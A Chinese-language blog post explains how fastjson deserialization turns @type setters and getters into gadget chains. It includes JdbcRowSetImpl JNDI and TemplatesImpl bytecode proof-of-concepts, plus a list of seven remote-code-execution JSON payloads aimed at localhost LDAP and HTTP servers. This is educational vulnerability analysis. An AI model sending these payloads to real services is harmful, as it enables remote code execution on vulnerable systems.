本篇文章记录fastjson反序列化的过程,记录自己对fastjson反序列化本质原因的学习过程,不对各版本的绕过做详细分析,版本绕过的分析网络上已经存在很多文章对其进行了清晰的描写。
fastjson反序列化过程的分析 先通过一个简单的Demo来认识fastjson的反序列化过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package com.fastjsondeserialization.test;public class TestUser { private String name; private boolean flag; public String gender; private String country; public TestUser () { System.out.println("call User default Constructor" ); } public String getName () { System.out.println("call User getName" ); return name; } public void setName (String name) { System.out.println("call User setName" ); this .name = name; } public boolean isFlag () { System.out.println("call User isFlag" ); return flag; } public void setFlag (boolean flag) { System.out.println("call User setFlag" ); this .flag = flag; } @Override public String toString () { return "User{" + "name='" + name + '\'' + ", flag=" + flag + ", gender='" + gender + '\'' + ", country='" + country + '\'' + '}' ; } }
当json中存在@type
时,fastjson会将json中key:value
值映射到@type对应的类中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.fastjsondeserialization.test;import com.alibaba.fastjson.*;public class FastjsonDeserializationDemo { public static void main (String[] args) { String serializedStr = "{\"@type\":\"com.fastjsondeserialization.test.TestUser\",\"name\":\"seikei\",\"flag\": true,\"gender\":\"male\",\"country\":\"china\"}" ; System.out.println("serializedStr=" + serializedStr); System.out.println("-----------------------------------------------\n\n" ); System.out.println("JSON.parse(serializedStr):" ); Object obj1 = JSON.parse(serializedStr); System.out.println("parse反序列化对象名称:" + obj1.getClass().getName()); System.out.println("parse反序列化:" + obj1); System.out.println("-----------------------------------------------\n" ); System.out.println("JSON.parseObject(serializedStr):" ); Object obj2 = JSON.parseObject(serializedStr); System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName()); System.out.println("parseObject反序列化:" + obj2); System.out.println("-----------------------------------------------\n" ); } }
以上代码的执行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 serializedStr={"@type":"com.fastjsondeserialization.test.TestUser","name":"seikei","flag": true,"gender":"male","country":"china"} ----------------------------------------------- JSON.parse(serializedStr): call User default Constructor call User setName call User setFlag parse反序列化对象名称:com.fastjsondeserialization.test.TestUser parse反序列化:User{name='seikei', flag=true, gender='male', country='null'} ----------------------------------------------- JSON.parseObject(serializedStr): call User default Constructor call User setName call User setFlag call User isFlag call User getName parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject parseObject反序列化:{"flag":true,"gender":"male","name":"seikei"} -----------------------------------------------
注意JSON.parse()
和JSON.parseObject()
的差别
JSON.parse()
在指定了@type
的情况下,自动调用了TestUser类默认构造器,TestUser类对应的setter方法(setName),最终结果是TestUser类的一个实例。注意默认构造方法、setter方法调用顺序,默认构造器在前,此时属性值还没有被赋值,所以即使默认构造器中存在危险方法,但是危害值还没有被传入,所以默认构造器按理来说不会成为漏洞利用方法,不过对于内部类那种,外部类先初始化了自己的某些属性值,但是内部类默认构造器使用了父类的属性的某些值,依然可能造成危害。
还有一点需要注意的是public gender
被成功赋值了,而private country
没有成功赋值,fastjson在1.2.22, 1.1.54.android之后,增加了一个SupportNonPublicField
特性,使得private country
就算没有setter、getter方法也能成功赋值,该特性有在TemplatesImpl
这条调用链中体现。
JSON.parseObject()
在指定了@type
的情况下,自动调用了TestUser类默认构造器,TestUser类对应的setter方法(setName)以及对应的getter方法(getName)和is方法(isFlag),最终结果是一个字符串。这里多调用了getter和is方法,是因为parseObject
在没有其他参数时,调用了JSON.toJSON(obj)
,后续会通过gettter方法获取obj属性值。
JSON.parseObject()
一直到setName
方法的调用栈如下图,看到JSON.parseObject()
会调用到JSON.parse()
、再调用DefaultJSONParser.parse()
,也就是说JSON.parseObject()
本质上还是调用JSON.parse()
进行反序列化的,区别是parseObject()
会额外调用JSON.toJSON()
来将Java对象转为JSONObject对象。两者的反序列化的操作时一样的,因此都能成功触发反序列化。
重点在知道json反序列化会调用setter和getter方法,指定@type
时,fastjson会自动调用@type
对应类的setter和getter方法,调用setter和getter方法是正常业务功能。但当该类的setter或getter方法可被利用时,会导致漏洞。这也是为什么fastjson在之前的修复一直都是添加类的黑名单,而不是禁止反序列化功能。
fastjson具体的解析过程可以参考https://paper.seebug.org/994/
fastjson利用链 我们知道Json中存在@type
时,JSON.parse()
会自动调用类的默认构造器和对应的setter方法,JSON.parseObject()
会自动调用类的默认构造器和对应的setter、getter和is方法。
利用的关键是要找出一个特殊的在目标环境中已存在的类,满足如下两个条件:
该类的构造函数、setter方法、getter方法中的某一个存在危险操作,比如造成命令执行;
可以控制该漏洞函数的变量(一般就是该类的属性);
JdbcRowSetImpl JdbcRowSetImpl
的PoC为:
1 {"xxx" :{"@type" :"com.sun.rowset.JdbcRowSetImpl" ,"dataSourceName" :"ldap://localhost:1389/Object" ,"autoCommit" :true }}
多加一个”xxx”是为了增加Payload的适用性。
JdbcRowSetImpl.java
的代码查看方法,先import com.sun.rowset.JdbcRowSetImpl;
,然后按住CMD(或CTRL)键点击即可查看。
JdbcRowSetImpl
调用链的过程:
JdbcRowSetImpl
对象恢复
setDataSourceName
方法调用
setAutocommit
方法调用,里面调用了this.connect()
this.connect()
调用context.lookup(datasourceName)
javax/naming/InitialContext#lookup
进行ldap查询,在此可以进行JNDI注入。
整个调用栈过程如下
整个过程调用的都是setter方法,所以该调用链在parse()
和parseObject()
中都能使用。
TemplatesImpl com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,该调用链存在一定的限制,因为在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes
和_name
都是私有属性,所以想要反序列化这两个属性,需要在parseObject()
时设置Feature.SupportNonPublicField
。在实际场景中很少会设置Feature.SupportNonPublicField
,所以该调用链在实际场景的利用有限。
首先,在构造函数TemplatesImplDemo
中的Runtime.getRuntime().exec()
中输入想要执行的命令,然后将代码编译成class文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TemplatesImplDemo extends AbstractTranslet { public TemplatesImplDemo () throws IOException { Runtime.getRuntime().exec("open /System/Applications/Calculator.app" ); } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform (DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main (String[] args) throws Exception { TemplatesImplDemo t = new TemplatesImplDemo(); } }
将evilClassPath
参数设置成上面编译得到的class文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class FastjsonTemplatesImpl { public static String readClass (String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void main (String args[]) { try { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator" ); final String evilClassPath = System.getProperty("user.dir" ) + "/target/classes/com/fastjsondeserialization/test/TemplatesImplDemo.class" ; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" +evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n" ; System.out.println(text1); } catch (Exception e) { e.printStackTrace(); } } }
得到fastjson的PoC:
1 {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADRMY29tL2Zhc3Rqc29uZGVzZXJpYWxpemF0aW9uL3Rlc3QvVGVtcGxhdGVzSW1wbERlbW87AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxEZW1vLmphdmEMAAgACQcALwwAMAAxAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAMgAzAQAyY29tL2Zhc3Rqc29uZGVzZXJpYWxpemF0aW9uL3Rlc3QvVGVtcGxhdGVzSW1wbERlbW8BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAYAAgAGQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
将这串json字符放入fastjson解析,也就是JSON.parse("{@type: "..."}", Feature.SupportNonPublicField)
就能触发漏洞。
PoC中的关键点:
_bytecodes
和_name
都是私有属性,所以想要反序列化这两个属性,需要在parseObject()
时设置Feature.SupportNonPublicField
;
_bytecodes
是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
需要设置_outputProperties
是因为漏洞利用链的关键会调用其参数的getOutputProperties()
方法,进而导致命令执行;
_tfactory
设置为{ }
,在defineTransletClasses()
时会调用getExternalExtensionsMap()
,当为null时会报错,所以要对_tfactory
设置;
TemplatesImpl
调用链的过程:
TemplatesImpl
对象恢复,赋值_bytecodes
、_name
、_tfactory
等私有属性,然后会调用getOutputProperties()
这个getter方法
newTransformer()
方法调用,方法里调用了getTransletInstance()
getTransletInstance()
方法调用,其中第451行defineTransletClasses()
方法中会根据_bytecodes
来生成一个java类,生成的java类随后会被getTransletInstance()
方法用到生成一个实例。
生成的Java类,会执行构造函数,也就是Runtime.getRuntime().exec()
导致命令执行。
整个过程调用栈如下图
其他 fastjson中其他链可以参考@type
黑名单,项目地址 https://github.com/LeadroyaL/fastjson-blacklist
部分RCE payload记录,来自 https://paper.seebug.org/1192/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 payload1: { "rand1": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true } } payload2: { "rand1": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": [ "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ" ], "_name": "aaa", "_tfactory": {}, "_outputProperties": {} } } payload3: { "rand1": { "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties": { "data_source": "ldap://localhost:1389/Object" } } } payload4: { "rand1": { "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean", "targetBeanName": "ldap://localhost:1389/Object", "propertyPath": "foo", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "ldap://localhost:1389/Object" ] } } } payload5: { "rand1": Set[ { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor", "beanFactory": { "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory", "shareableResources": [ "ldap://localhost:1389/obj" ] }, "adviceBeanName": "ldap://localhost:1389/obj" }, { "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor" } ]} payload6: { "rand1": { "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;" } } payload7: { "rand1": { "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName": "ldap://localhost:1389/Object", "loginTimeout": 0 } }
参考 http://xxlegend.com/2017/05/03/title- fastjson 远程反序列化poc的构造和分析/
https://paper.seebug.org/1192/
https://paper.seebug.org/994/
http://www.mi1k7ea.com/2019/11/07/Fastjson系列二——1-2-22-1-2-24反序列化漏洞/